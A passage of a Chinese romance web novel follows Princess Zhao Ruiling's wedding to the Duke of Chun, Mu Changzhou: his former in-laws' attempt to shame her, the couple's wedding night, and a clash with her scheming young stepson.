“醇国公夫人还是规矩些的好,过会儿还有宾客来观礼,你丢脸,就是丢醇国公的脸面,传出去叫人笑话!” 赵瑞灵愣了下,才缓缓转动脑袋,迷茫地看向说话的女子。 她正经婆婆不是还在家庙吗?没听说穆长舟多了个阿娘啊! 看过去赵瑞灵才发现,竟还是个未嫁女娘,她眼神中多了几分不可置信。 “你一个未嫁女娘,教我这个二嫁的郡主怎么做新妇??” 疯了吧?! 第42章 第42章大婚中 赵瑞灵的话音一落,新房内原本还算喜庆的氛围蓦地安静下来。 说话的女娘当即红了眼,一脸委屈看向自己身旁浑身贵气的中年妇人。 那妇人拍了拍自家女儿的手,擒着抹淡然的笑望向一脸见鬼的赵瑞灵。 “醇国公夫人……不,瑞灵郡主怕是忘了,您并非醇国公的元配,但既然嫁进穆家,往后就是我们大郎的母亲,就算不顾及大郎的体面,也不想叫人说谢氏女没教养吧?” “旁人都知醇国公元配嫡妻乃是程氏女,我们程氏以讲规矩重礼法得圣人看重,您如今成了醇国公的填房,难道想叫人说嘴不 成?” 乔媪蹙着眉上前,想跟赵瑞灵说这妇人的身份。 赵瑞灵抬起手摆了摆,不用说她也听出这到底是谁来了。 参加醇国公府的喜事,还敢给她这个郡主新妇找不痛快的,除了御史大夫程邈的夫人,也没有旁人了。 她又看了眼低着头把委屈劲儿写满了全身的女娘,看起来跟长乐郡主差不多大,应该就是那位程家想续百年之好的庶出六娘。 能来参加醇国公府喜事的,都是高门大户家的女眷,因为程夫人的话,好些人用帕子掖着唇角,嘲笑都嘲笑得特别高贵矜持。 赵瑞灵学不来这份高贵,所以她叉着腰笑了。 “御史大夫程邈是正三品官员,程夫人你是三品诰命夫人,郡主位比郡王,乃二品,国公乃是超一品,程夫人我没记错吧?” 她见程夫人母女脸色不好看,也没给母女二人说话的机会,学着穆长舟那样冷冷扫过屋里还在那儿掖唇角的女眷们。 “你们的规矩和教养,就是教你们在旁人成亲的时候,拼着以下犯上也要出来恶心人?那你们还真是好教养!” “嫁入穆氏的人是我,穆长舟和穆大郎还没站出来说我丢人现眼,你们倒是替他们嘲讽上了,怎么,你们是我阿娘还是叫我母亲?” 咸吃莱菔淡操心,真是给她们闲的! 屋里的女眷们脸色都不太好看,除了赵瑞灵她三舅母长平郡主,不过长平郡主也是不太认同地跟赵瑞灵摇头。 作为新嫁妇就是会被人放在眼皮子底下看着,好的坏的都会夸张些往外说,赵瑞灵这会儿说得痛快了,往后传出去不是什么好名声。 赵瑞灵却一点都不稀罕什么好名声,她来圣都到现在就一点都没体会到名声能带来的好处,全是麻烦了。 她本来就累得够呛,实在没耐心,冷着小脸吩咐屋里伺候的女婢:“既然碍着大家的眼了,你们就先请大家往大堂那边去吃酒吧,新房不需要观礼了。” 她现在只想躺下。 但除了阿桥和乔媪外,屋里伺候的醇国公府女婢竟一个动的都没有,只低着头。 屋里的气氛更加微妙起来,原本脸色不太好看的女眷也都换上了幸灾乐祸看热闹的眼神。 程夫人还非常规矩地给赵瑞灵行了个礼,特别温柔特别客气地替女婢们说话。 “倒是忘了跟郡主说,醇国公府里的仆从,都是我家二娘悉心教导出来的,从来不会错了规矩,郡主让她们做会贻笑大方的事,替醇国公府抹黑,实在是为难她们了。” 赵瑞灵挑眉,有些疑惑看了眼乔媪,屋里怎么会都是醇国公府的女婢呢? 赵安素她们呢? 乔媪心里懊恼万分,却不太好当众解释,这事儿她办得大错特错。 先前屋里伺候的女婢说她们更熟悉正房,武婢来自安南侯的馈赠,为着醇国公安危着想,武婢不合适伺候新婚夜。 乔媪心想着郡主到底是嫁作他人妇,怕醇国公心里介怀,叫赵安素她们都在外头,想着回头让郡主问问姑爷的意思,再将这些明摆着不太服管的女婢们换掉。 没想到还真有人就一晚上都等不及,偏要挑人家新婚的日子找事儿。 她恨不能给自己一巴掌,无论如何,她该以郡主为先才是! 好在赵瑞灵不是爱计较的,程夫人这番阴阳怪气实在是说错了人。 如果赵瑞灵精神头好,她还有心情顺着圣都权贵间的规矩唱唱戏,可她累极了的情况下,只想以最快的速度把碍眼的人清走。 至于会产生的新问题?她解决不了,就解决招惹这些问题的狗东西好了。 她没什么气势地挥动胳膊:“去叫——”安素进来。 但她话还没说完,门外就传来了热闹起哄的动静,是穆长舟带着男宾们来行却扇礼了。 而赵瑞灵却还没换好衣裳,甚至发髻上的首饰也拆了大半。 程夫人唇角的笑意更深了些,她就知道这样年纪的小女娘稳不住,稍稍刺几句,就要跟秋后的蚂蚱一样蹦起来。 可这位瑞灵郡主却忘了什么才是要紧事,她要丢人现眼的事儿可不只是没教养一桩。 长平郡主瞬间冷下脸来,她郡主府里干净,从小到大也没人敢跟她耍心眼,所以她才发现微妙之处。 无论如何,赵瑞灵都是谢氏血脉,还是夫君在意的人,她不会跟梁氏和杨氏那么无能,由着人欺负赵瑞灵。 她立刻上前,冷冷瞥程夫人母女一眼,吩咐:“将屏风拉起来,先伺候郡主梳妆!” 女婢们也不敢耽搁下去了,让新夫人丢脸是一回事,若被郎君抓住不敬主母又是另外一回事。 她们赶紧去将屏风端过来挡在赵瑞灵面前,端着衣裳和首饰,要伺候梳妆打扮。 赵瑞灵退到乔媪和阿桥身后,不叫人碰,板着小脸一言不发。 “灵娘,先梳妆,其他的以后再说。”长平郡主心里无奈,到底是乡野出身的小女娘,一点都分不清轻重。 “多谢三舅母好意,但在灵娘这里,没有以后再说。”赵瑞灵累得声音都开始沙哑了。 太后早上为她梳头时的话在她脑海里还新鲜着,她要是忍气吞声,都对不起阿娘和公婆还有阿兄他们十几年的疼爱。 穆长舟带着人进来门,见到众人都围着屏风站立,新房内气氛凝固,含笑挑起眉。 “这是怎么了?” 女眷们你看我,我看你,一时间竟没人说话。 程六娘仿佛这会儿才从委屈里回过神,红着眼眶抬起头,望向穆长舟。 “姐夫……” 赵瑞灵突然出声:“阿桥,把屏风给我踹开!” 阿桥本来就憋着一肚子气,二话不说,用上吃奶的劲儿,哐当一脚把屏风踹翻,惊得女眷们瞠目结舌退开。 程六娘差点被砸到,吓得忘了说什么,险些跌倒在地,被程夫人给扶住了。 程夫人忍着笑,用力捏了捏程六娘的胳膊,让她继续说。 但程六娘刚抬起头,就见穆长舟已朝着赵瑞灵走了过去。 惦记了好几日的小兔子,突然出现在自己面前,却并非想象当中令人惊艳的妩媚盛景,反倒披散着长发,散着绿袍红裙,脸色冷淡,依然叫穆长舟心跳猛地乱了几分。 他当着诸多宾客的面,毫不迟疑地握住赵瑞灵的手,不给她挣扎的机会。 “谁让灵娘不高兴了?你说,我这就把人请走。” 众人:“……”你还能再离谱一点吗? 程氏母女的脸色都突然难看起来。 程夫人突然开口:“长舟,今天是你的大日子,你就叫我们这些做长辈的等着……” “不愿意等就走。”穆长舟头都没回,只认真看着赵瑞灵,见她冷着小脸儿也浑不在意。 “我是成亲,又不是当差,只要我家新妇进了门,其他的都不重要。” 赵瑞灵这才抬头看他,眼眶也有些发红,“即便你的新妇没教养,没规矩,会让你还有你儿子,你家的女婢们都丢人现眼,贻笑大方,也不重要?” “穆长舟,你可想清楚了再说,我即便没这个没那个,好歹还有点良心,要不我就不祸害你了,这桩亲事做——” “谁?”穆长舟突然打断赵瑞灵的话,收敛了脸上的笑,冷声问。 “谁说你没教养没规矩?” 程夫人突然觉得有些不妙,临行前夫君千叮咛万嘱咐让她不要再节外生枝的话,这会子才浮上她心头。 可想了想先前她嫡出的三娘特地送回来的消息,程夫人还是努力端着微笑上前想解释。 “刚才是我记挂着大郎,可能说的话叫郡主误会了,大郎这孩子自小敏感多思,我作为外祖母实在是心疼他。” 穆长舟恍然,他谁都想到了,还真没想到闹妖的竟然是他最最重规矩的前丈母娘。 “所以,程夫人你在圣人赐婚,特令礼部和太常寺主办的国公府大喜之日,来挑我家新妇,太后外甥女,圣人表妹 的不是?”他也笑了,气的。 “看来程御史的差事当得不行,这差事该给程夫人你才是。” 女眷们还收敛些,在门外看热闹的男宾们不知道是谁先笑了出来,接着笑成了一片。 程夫人脸色发黑,“我只是实话实说而已!” “那还是请程夫人回到你程府再说实话,我穆氏不需要。”穆长舟毫不客气道。 “来人,将程夫人和程家女娘送回程府,还有想说实话的,可以一起走!” 女眷们因穆长舟这番不给面子的话,脸色都不太好看,心里却都止不住羡慕赵瑞灵。 能让醇国公当着大半个圣都的权贵王公和各家女眷们,摆明车马替新妇撑腰,这样的疼爱,别说权贵,就是普通儿郎,也没几个能做到的。 女婢们自然也能看出来,这会儿都不敢耽搁了,赶忙上前。 但穆长舟却冲门外喊:“甄顺!” “诶!来了来了!”甄顺从外门带着一对护卫进来,顺着自家郎君的目光,看向屋里伺候的女婢和程夫人母女。 他挥挥手。 护卫们干脆利落捂了女婢们的嘴,没让她们发出任何声音就把人拖走。 甄顺皮笑肉不笑地上前,特别规矩,特别温柔地冲程夫人躬身。 “您二位请吧?” 穆长舟闹的这一出,谁都没能想到。 甚至连看热闹不嫌事大的男宾们,看到被拖出来的女婢,还有脸色煞白,羞愤欲死的程家母女,也都诧异非常。 偏穆长舟跟没事儿人一样,将赵瑞灵抱到重新竖起来的屏风后坐好,低声安抚了几句,才带着格外喜庆的笑出来,冲他们拱手。 “我家新妇自小不在圣都,心性单纯善良,任是什么阿猫阿狗都能欺负上来,还不忍心伤人体面……” 送人回来的甄顺:“……”他们家郎君是不是把自己也骂进去了? 穆长舟还斜倚在门边,洒然笑着调侃:“劳烦大家伙儿陪我这新郎官登上一等,所谓好饭不怕晚,这饭越晚……各位都懂吧?” 众人:“……”好恨这双懂了的耳朵! 明明还没怎么吃喝呢,大家肚儿里就都有些不太舒服。 屋里长平郡主真服气了,虽说她家三郎自成亲到现在也从来叫人说不出嘴来,还总叫她日子过得有盼头,可也没这么……有盼头。 她身为舅母,又是在场身份最高的,干脆替了不作为的梁氏和杨氏的活计,帮着赵瑞灵梳妆。 望着恹恹坐在铜镜前,还鼓着小脸儿写满了不高兴的赵瑞灵,她又是想笑,心里又酸溜溜的。 女娘成亲就跟第二次投胎一样,能碰上个把人宠得不需要理智和忍让的男人,也不知道上辈子修了多少功德。 她以最快的速度帮赵瑞灵梳妆打扮好,让自己的女婢和阿桥扶着赵瑞灵端坐在新床上。 穆长舟这才带着宾客和喜娘进门。 喜娘提着嗓子喊:“请新郎却扇!” 穆长舟含笑念了却扇诗,亲手接过赵瑞灵手中的团扇,捏在手里,另一只手拉着赵瑞灵在案几前就座。 喜娘端上牛、羊、猪肉来,行‘太牢’礼,寓意一生吃喝不愁,风雨同舟。 因为先前赵瑞灵和穆长舟的发作,宾客们都格外懂事。 新房里除了笑声和叫好声,再没闹出任何动静,合卺礼和解缨、结发、撒帐都进行得格外顺利。 穆长舟叫甄顺先奉请宾客们出门行宴,自己走在了最后。 乔媪和阿桥看出来姑爷这是要继续哄人,更看得出郡主这会儿兴致不高,很体贴地跟着退了出去。 “还不高兴?”穆长舟轻轻捏了捏赵瑞灵的小脸儿,直接将妩媚慵懒的小娇娘抱到了怀里,还起身转了一圈。 赵瑞灵本来就累,被转得头晕,用力拽他耳朵。 “你快放我下来!” 穆长舟由着她拽,将她抱到铜镜前,亲手替她摘下脑袋上依然很沉重的金簪。 “别为不相干的人生气了,你生气才是给他们脸,往后有的是你把他们脸慢慢往地上踩的机会,若是灵娘下不去脚,为夫来!” 赵瑞灵被他逗得总算见了笑意,抬着下巴眯眼看他。 “那可是你的岳母,你就不怕御史弹劾你?” “旁人的嘴,我管他呢!”穆长舟将赵瑞灵抱到床上,扫去床上的干果,俯身亲在她唇角上,眸光愈发幽深。 “我只怕灵娘因为旁人犯蠢,迁怒到我嘴上。” 赵瑞灵:“……”他是说错字了,还是要吃人? 她本来就已经不生气了,这会儿更是因为穆长舟的话,心跳又噗通噗通来劲儿了。 “你,你快去招待宾朋,咱们府里今天的热闹已经够多了!”她慌乱地推穆长舟。 穆长舟仔细打量着,确定这小兔子是哄好了,这才顺着她的力道起身,只是目光始终胶着在她身上。 “等我回来!” 什么宾朋不宾朋的,他何曾在乎过。 只是给他出谋划策的那个损友好不容易来一趟,他去谢上几句,立马就回来吃点好的! 第43章 第43章大婚下 穆长舟没有直接去宾朋们行宴的地方,圣都这些人连他成亲当日都放不下算计,实在不值得他费心。 醇国公府是前朝亲王府改的,不只有赵瑞灵喜欢的莲花池,还有座占地面积不小的跑马场。 穆长舟到马厩的时候,顾志泽果然一个人在他给奔雷盖的豪华马厩内躺着……抢奔雷的莱菔吃。 “山南道穷得吃不上饭了吗?”穆长舟在顾志泽面前说话比在赵瑞灵面前毒得多。 “还是说你这个山南学院的山长混不下去,上我这儿化缘来了?” 甭管穆长舟说什么,顾志泽吃莱菔的速度不变,嘎吱嘎吱把奔雷都看饿了,伸脑袋去拱穆长舟。 穆长舟扔了根莱菔进去喂马。 待会儿他还要洞房,他娘子心情不好指不定会挑剔,不能弄一身马味儿回去。 “洞房花烛夜往马厩跑,你穆翼旸也是古往今来第一人了。”顾志泽硬是啃完了手里的莱菔,这才拍拍巴掌坐起身来。 穆长舟回答他的是毫不客气地一脚踹过去。 顾志泽哈哈笑着躲开,“我好歹也是你表祖父,客气点。” 见穆长舟明显不耐烦,顾志泽也不废话。 “上头下令安插刺史下各道,竟多是寒门出身的官员,隐隐以中书省马首是瞻,反倒是知州出身多数不错,看起来太后像是占了上风。” 顾志泽出身顾氏,就是镇国公顾氏这一脉,不过是分支,当年老镇国公是动过过继心思的,将顾志泽从小养在身边。 只是当年不知道发生了什么,顾志泽远走他乡,老镇国公为顾三娘招赘,没过几年就去世,镇国公府从鲜花着锦一下子冷落下来。 当年镇国公留下的人脉看似都因为镇国公府的没落散尽了,但有一部分却化整为零,归了顾志泽。 所以穆长舟没把顾志泽的话当闲谈,很快听出了话外音。 “也就是说杨氏有可能是圣人为小皇子选定的保皇派?”穆长舟轻抚着奔雷,若有所思。 “有没有可能是韩延年的手笔?” 杨氏可是支持渭王的人里官职最高,影响力也最大的一家。 “韩延年不过乞儿出身,杨矛延投靠先圣之前,在前朝出身可不低。”顾志泽摇头晃脑地起身。 “总之你离谢氏远一点,也别太信那位的保证,否则穆氏就是下一个顾氏,指不定还赶不上顾氏呢。” 好歹老镇国公当机立断,以赘婿继承爵位,绝了自己的血脉根基。 英国公府和醇国公府如今沾了亲,又都是锦绣繁花时,一旦选错路,殷氏可从来不会手软。 穆长舟面色不变地看着顾志泽哼着小调走远。 他从来没信任过殷氏。 顾家身为前朝望族,坚定地支持女婿夺得了天下。 顾家大娘是先圣之妻,顾家二娘是先圣堂叔之妻,顾家族长之女是圣人的元妻。 可如今除了镇国公夫人顾三娘、他被关在家庙里的母亲,哪个还活着? 谢氏也不可靠。 虽太后还算有心计,对前朝的掌控却不如殷氏,不只是英国公府里不和睦,身边都快成筛子了。 不过这些今晚显然不在穆长舟的思考范围内。 他先回到前院露了个面,跟宾朋们略吃了几杯薄酒,留下甄顺在前面支应着,迫不及待往后宅正院去。 进新房之前,穆长舟甚至还特地洗掉了身上的酒气,心里念着那娇软的小兔子,冷水都浇不灭他身上的火气。 然后他就热气腾腾地在新房里,见到了已经睡得七倒八歪的新妇,她乌黑的长发镇着鸳鸯枕,手里还抱着一个。 一床被子盖在她身上,里面鼓鼓囊囊的。 掀开一看,好家伙,另外一床他的被子被她骑着呢。 穆长舟知道这小兔子今日累得不轻,也知道把人闹醒估计又要闹。 但在原地运了会儿气,他还是没忍住凑上前,吻住了那张睡得微微张开的小嘴儿。 “唔……”赵瑞灵梦到自己从彩车里下来后,在醇国公府被穆长舟拉着往正房走,可是怎么走也走不到头,累得喘不过气来。 “走不动了……不嫁了呜呜……”赵瑞灵在梦里一屁股坐在地上,气得拿扇子往穆长舟身上扔。 然后—— “啪”的一下轻响,把赵瑞灵给吓醒了。 她一睁眼,就见穆长舟面无表情握着她的手,而她的手还贴在他脸上呢。 她感觉嘴上感觉怪怪的,抬手就想摸自己的嘴唇。 穆长舟先发制人,幽幽问:“做了什么梦,恨得梦里都要甩我巴掌?” 赵瑞灵往嘴上摸的动作变成了摸鼻子。 “没什么,就是梦到你在别人欺负我的时候不说话,让我受委屈了。” “所以我这一巴掌挨得冤啊……”穆长舟不动声色将新媳妇搂到怀里,跟她一起躺下。 “娘子说,你该怎么补偿我?” 他等着赵瑞灵的感谢,哪怕丝毫不走心,左右他也不图那个心,只想着顺势多吃会儿好的而已。 岂料他刚要翻身覆过去,就又挨了赵瑞灵一脚,好悬踹到他吃饭的家伙事儿上,吓了他一跳。 “你……” “我什么我!”赵瑞灵丝毫没有要道谢的心思,理直气壮看着穆长舟。 “若不是你,我会遇上这样的为难吗?” “嫁给你,我把这十几年都没吃过的苦都吃了,累得要死要活,你还好意思要补偿??” 她用力推穆长舟:“我补偿你去睡书房!” 穆长舟赶紧握住她的手哄,“为夫只是跟娘子开玩笑,你我夫妻与共,他们为难你就是为难我……” “你少来!”赵瑞灵斜眼看他,“原来倒没发现你这么会说话,该说的能叫你说出花儿来,不该说的你倒是一个字都不肯吐露。” 她那天晚上在温泉庄子上等了这人大半宿。 同样是没能见到人,穆长舟有多期待娶媳妇,她就有多懊恼自己轻易就被哄进了坑里。 穆长舟愣了下,这才反应过来赵瑞灵的意思。 他们既已经成亲,甚至成亲的原因也摆脱不了储位之争,但到现在为止他并没有跟赵瑞灵交过底。 他思忖片刻,坐起身来,有些伤怀地看着赵瑞灵。 “我以为你知道的,我与你一样,从来都别无选择。” 赵瑞灵没听懂,但见穆长舟这样,下意识怀疑了下自己,是不是她想岔了。 穆长舟自嘲地笑了笑,满身寂寥。 “我家的事儿,在圣都不是秘密,我与淳阳王明面上看起来只是有龃龉,可我与他都恨不能对方去死。” “我穆氏的一切,本来都是先圣为自己的侄子准备的,他从来没想过让兵权旁落。” “若非我豁出去闹大,也许当年我母亲就带着穆氏的家财和部曲,成了淳阳王的侧室。” 赵瑞灵握着他的手,瞠目不已。 “一个国公爵位,还有兵权,只换个侧室的位子?” 她又想问了,淳阳王是上辈子救了她这位婆婆全家吗? “圣人以为我不知道,或者他不在意我知不知道,但穆氏效白马之盟,立誓永不背叛殷氏,否则满大昭皆可诛之,他也就不在意穆氏和淳阳王之间的仇。”穆长舟眸底的讽刺之意越来越重,搂住了赵瑞灵的腰,将脑袋埋在她柔软之上。 “鲁国公府与淳阳王府交好,若太子和小皇子继位,将来我和淳阳王就只能活一个。” 所以他从来都没有别的选择,他穆氏当然可以不背叛殷氏,但渭王也是殷氏,谢氏一脉绝不会任由鲁国公府和淳阳王府坐大。 赵瑞灵突然感觉有点不对劲,呼吸急促地抓住他的耳朵。 “那太后知道这件事吗?” 如果知道的话,怎么可能会让她警惕穆长舟? 穆长舟顿了下,这小兔子显然又聪明起来了。 “她也知道我与圣人立誓之事,以为我不会任由她临朝称制。” 赵瑞灵推开穆长舟缠上来的胳膊,“那为何圣人和太后先前都想着以亲事来拉拢你?” “如果圣人和太后都不知道你的选择,凭什么你就以为我知道,你是不是又在唬……” 穆长舟手上一个用力,将低呼的赵瑞灵压在幔帐里,堵住她想要计较更多的小嘴儿,亲得她说不出话来。 “我本以为娘子与我心有灵犀,看来咱们还是不够亲近。” “今晚咱们还是先亲近亲近,往后你肯定是最先知道为夫心思的那个!” 赵瑞灵唔唔着想要反驳,但都被堵在了灼热的唇齿间,又被穆长舟迅速勾动起了青潮,再说不出话来。 穆长舟凭着从顾志泽那里抢来的画册子,成功哄得身下小娘子跟一汪水似的,软弱无力搂着他的脖颈儿承受他的亲近,他眸底的讽刺和寂寥一扫而空。 看来卖可怜不是所有小娘子都适用,他娘子与其他小娘子不同,更喜欢来点硬的。 尤其是在他品尝过香甜的蜜糖后,她哼哼唧唧跟小鱼儿似的邀请他入水嬉戏,那纯真却又妩媚的反应,让穆长舟只想醉死在这温柔乡里。 最后赵瑞灵都不知道自己是怎么睡着的。 她被穆长舟喊醒,又被穆长舟‘哄’睡,关于洞房花烛夜的记忆,只剩下了一直摇晃的带着喜纹的幔帐。 岂料翌日一早,赵瑞灵就被阿桥给喊醒了。 她困得抱着被褥一直呜呜嗷嗷不肯起。 “我才没睡多会儿呢,就是天大的事儿也等我睡饱了再说!” 阿桥也不想叫娘子起来,平时都难叫娘子起床,更别提昨晚她听娘子哼唧到后半夜,这才过去两个时辰。 可是……阿桥有点无奈。 “娘子,你儿子跪在外头呢!” 赵瑞灵:“……”谁? 第44章 第44章为夫很正经来陪睡……咳…… 得知穆家大郎就在正门外跪着,把赵瑞灵的瞌睡给惊没了。 她揉着微微肿胀的杏眸坐起身,压下到了嘴边的低吟,在心里恶狠狠骂了穆长舟一顿。 然后她才沙哑着嗓音问:“穆长舟呢?你们怎么不扶大郎起来?” 虽然她还没有做好做个好继母的准备,但既然二嫁,还是嫁进高门,早晚要跟元配所出的孩子对上,她没打算做个刻薄的继母。 “国公一大早就出府了,说是中午回来陪您用膳。”阿桥更无奈了。 “我和乔媪百般劝说大郎,他都不肯起来,只说要为昨日发生的事情跟您赔罪。” 赵瑞灵龇牙咧嘴站起身,跟阿桥对视一眼,确认过眼神,是来者不善的儿。 她轻叹口气,忍着想先泡个热水澡的冲动,让阿桥先伺候她简单梳洗一下去见她这好大儿。 总不能让个只比阿旻大两岁的孩子一直跪着,传出去她这名声也就真别要了。 等赵瑞灵出现在堂前,已经是一炷香后了。 正月里大冷的天儿,穆嘉誉就跪在门外,小脸儿都冻得发青,他脚边还有落在地上的大氅。 赵瑞灵眼神瞬间就冷淡了许多。 没苦硬吃,这孩子是想让醇国公府并外头的人都道她这个继母不慈呗。 她扫了眼天井和门口,有几个看起来鬼鬼祟祟的仆从在那里探头探脑。 赵瑞灵昨晚消下去的火气,伴随着这会儿身上的疼痛,又一次燎原起来。 都说圣都的权贵人家重规矩,一定程度上来说,这规矩还真是叫人开眼了! “安素!”她冷冷出声,“你这差事当得是越来越好了,谁都能往我院子里探脑袋,你干脆把房门拆了,让他们好好看个清楚算了!” 赵安素心下一紧,赶忙跪地。 “奴知错!还请郡主责罚!” “罚你今天只许吃晚饭,这个月俸禄减半!”赵瑞灵面无表情道,“将那些探头探脑的都给我绑了,扔到柴房里饿上几顿再说!” 赵安素非常清楚,郡主这是在杀鸡儆猴,她一点都不介意成为最好用的鸡,利落应下来就要去办。 “等等!”赵瑞灵看也不看红着眼眶跪在堂前的穆嘉誉,只转身往回走。 “将这孩子给我提进来,先给他泡个热水澡,请府医过来给他瞧瞧,该喝药先喝药!” 穆嘉誉泫然欲泣抬起头来,弱弱开口:“母亲,儿——” “给我堵了他的嘴!都是死人不成?大郎要是冻出病来,你们所有人都去领罚!”赵瑞灵不给他说话的机会。 要是于旻在这儿,绝不会费心思狡辩。 因为赵瑞灵生气的时候从来不听人解释,先折腾完了再说吧! 穆嘉誉却不知道,还张着嘴想解释。 赵安素已经知道了自家郡主的态度,迅速掏出手帕塞住穆嘉誉的嘴,一只手就跟提小鸡子一样把人给提起来了。 穆嘉誉呆呆在风中晃悠,晃得从里到外都更加拔凉,外祖母和六姨母不是这么说的啊! 别说穆嘉誉了,就连外头探听消息的仆从都傻眼了,有头脑灵活的赶忙往外窜,生怕大郎在正院里出事儿。 赵瑞灵不管这些,她腰又酸又软,腿也跟棉花似的,实在没心情站在冷风里跟人说什么。 她直接将穆嘉誉扔在脑后,先叫乔媪给她放了热水,泡个热水澡。 要是再不缓缓身上的疲乏,她估计要比穆嘉誉先嗷一嗓子哭出来了,那也太丢脸了。 等泡了个舒舒服服的热水澡,又请擅长手法的王媪给她揉按舒缓了身上的酸疼,还慢条斯理用过了早膳,她才重新回到正院。 穆嘉誉已经被折腾得完全顾不上装可怜了,即便是被提进来,也跟个小狼崽儿一样,恶狠狠瞪着赵瑞灵。 “眼神错了,你阿耶没教过你做事不能半途而废吗?”赵瑞灵浑不在意他的眼神,冲阿桥努了努下巴。 “继续跪吧,现在开始哭也不晚,正好我刚吃完饭,也好听听你想说什么,就当消食儿了。” 阿桥利落将厚厚的团垫放在穆嘉誉跟前,甚至还准备好了蜜水,免得这位国公府的小郎君哭脱了水。 但穆嘉誉看到她准备的这个齐全,运了运气,却再也继续不下去原先的可怜劲儿。 他虽是寄居在程家,到底是国公府唯一的小郎,程家上下都不敢怠慢,他是被宠着长大的,哪儿受过这种委屈。 先前那热水差点没给他泡秃噜了皮子。 他涨红着小脸,色厉内荏:“你若是不让我阿耶把我保母给放了,我就进宫跟张皇后说你虐待我,你往后别想再出门了!” 保母?赵瑞灵看向乔媪。 乔媪凑到她耳边轻声解释。 昨晚正院里那些被抓的女婢,原先都是受这位姓程的保母教唆,甄顺查清楚后,直接连那程媪一起拿了,关进了醇国公府的地牢里。 赵瑞灵恍然大悟,不可置信看向穆嘉誉:“所以,你的保母要让我在大婚仪式上成为笑柄,你还有脸来威胁我?” “我可是醇国公府唯一的嫡子!”穆嘉誉挺起小胸脯冷笑。 他长得挺像穆长舟,还真有点他阿耶那个混不吝的劲儿。 赵瑞灵凉凉道:“说不定很快就不是了。” 穆嘉誉噎了下,胸脯挺得更高:“就算你生了孩子,我也是大郎,我为嫡长,谁也越不过我去。” “有道理。”赵瑞灵点点头,“那你阿耶能越过你吧?” 穆嘉誉又被噎住,好一会儿才反驳,“你就那么笃定,你在我阿耶心里比我这个嫡长子更重要?” 赵瑞灵微笑:“这个问题你不应该问我,所以我就不回答了。” 她没给穆嘉誉继续说话的机会。 “一会儿我叫人送你去前院书房,今晚你阿耶陪你睡,你可以亲自问他,包括能不能放了你保母,也由他来做主。”她笑得愈发温柔,像极了一个好母亲。 “哦对了,你去张皇后面前哭诉,张皇后未必能为你做主。” “你可以去太后和圣人面前哭诉,再在皇城前头贴个榜,只要我没了体面,肯定就灰溜溜自请下堂,往后咱们就没什么关系了。” 别说,穆嘉誉就算是再聪慧,毕竟还是个孩子,赵瑞灵提的这个建议他非常心动。 虽然有些害怕阿耶,但穆嘉誉从小就被程家人提醒,他阿耶的一切都是他的,将他留在圣都也是因为在意他,为了保护他。 穆嘉誉自觉还是有一定胜算的,所以虽不是很心甘情愿,还是骂骂咧咧被赵安素给提走了。 他一走,赵瑞灵就高兴地蹦了起来,接着又倒抽口凉气,扶着腰软软坐了回去。 阿桥捂着嘴笑得不轻,赵瑞灵翻个白眼,却依然心情很好。 她吩咐阿桥:“一会儿你就带着一个月的俸禄去找安素,跟她好好解释解释,刚才我不是冲她,是为了吓唬别人,别叫她委屈了。” 然后她又马不停蹄吩咐乔媪:“快快快!让陈尽然带着人把正院给围了,今天没有我的吩咐,醇国公府谁也不许进正院!” 尤其是穆家的男丁! 她装作忧愁地叹了口气,“谁叫我是外人呢,总不能离间了人家的父子情,这阵子就请国公好好陪陪大郎吧。” 最好是陪到穆长舟回西北,昨晚那种苦力活儿经历一次就够了,可让她清清静静地享受一下那张格外宽阔的大床吧! 那可是太后叫她去库房里自己选的,据说是几十个匠人耗时一年才做好的拔步床,比郡主府那张普通的雕花床舒服多了。 穆长舟出府,是去送自外地赶来圣都参加他大婚的宾朋了,当然,主要是送顾志泽回山南道,他还有有事要仔细问顾志泽。 等他回到府里,就发现,本来该一觉睡到大中午的娘子,早早就被那不省心的崽儿给惊醒了,还闹了一场。 然后正院就被郡主府的部曲给围成了铁桶,里头还有武婢把守,保证蚊子都飞不进去。 他想象中抱着娘子喂饭的场景,也长了翅膀飞走了。 国公府的大管家试探着道:“按理说郡主已经嫁入了咱们国公府,即便身份尊贵,也是穆氏妇,却任由安南侯养出来的部曲在府里跋扈,实在是叫人心不安,让人知道了怕是不妥吧?” 穆长舟往书房去的脚步顿住,转身看向管家:“甄叔,您在穆家伺候也有三十年了吧?” 大管家甄保是甄顺的小叔,当年跟甄顺阿耶一起进府,在老醇国公身边伺候。 后来甄顺的阿耶跟老醇国公一起战死,穆长舟才将甄顺提到了身边,让甄保管着国公府。 “这些年我不在府里的时候居多,甄叔怕是忘了我的性子,我什么时候在乎过别人的看法?”穆长舟面无表情看着甄保。 “我不管先前程氏在府里是什么规矩, 但在我这儿,我的新妇就是规矩。” “谁的心不稳,不想在府里伺候就滚,不拘发卖了还是送到庄子上,由着郡主的意思来,你明白我的意思吗?” 甄保心下一惊,苦着脸跪地:“属下明白,属下只是……只是怕重蹈覆辙,绝非为程氏或其他什么人蛊惑,若属下有任何私心,必遭天打雷……” “行了,我不是我阿耶,我娘子也不会是我阿娘。”穆长舟冷淡地打断甄保的话。 “有工夫自个儿瞎想,不如想想怎么管好府里的下人,别叫我家新妇受了委屈!” 等穆长舟进了书房,甄顺才拉着自家小叔说话。 “我说小叔,郡主那是郎君好不容易才坑……咳咳哄回来的,外头也没有什么值得惦记的表兄表弟的,您就别瞎操心了!” 甄保:“……”就郎君刚才那话,比老国公还疯魔,他能不操心吗? “别怪我没提醒小叔,谢氏女还没出过蠢的,就算看起来好欺负,也不是省油的灯。您就想想看,从郡主入圣都开始,什么时候真正吃过亏就得了。”甄顺见小叔满脸愁色,干脆将话说得更明白了些。 “现在郎君明摆着将主母放在心上,比郡主眼里还不揉沙子,你与其瞎担心,不如赶紧把这些年程氏安插在府里的人都清理干净,否则被郎君或是主母发现了,您就准备跟着我去西北养猪吧!” 甄保大惊失色:“你在西北养猪?那郎君身边谁伺候?” 甄顺:“……”他就是比喻,比喻而已! 西北都护府没有猪! 还不知道被影射的穆长舟一进书房,就看到了倔强站在书房里抹眼泪的儿子。 他脚步顿了下,从穆嘉誉出生到现在,他一直没怎么跟儿子相处过,现在也有些不知道该怎么对待这个儿子。 思忖片刻,穆长舟面无表情问:“哭什么?程家跟你说了那么多,就没跟你说过穆家子流血不流泪?” 穆嘉誉眼泪突然掉得更凶,先前在赵瑞灵跟前被打断的施法,他酝酿了一个多时辰,又酝酿回来了。 他不傻,外祖母和六姨母的打算他知道。 但与其让不熟悉也不亲近的人占了穆氏主母的位子,倒不如让那个一眼就能看透的六姨母做他继母。 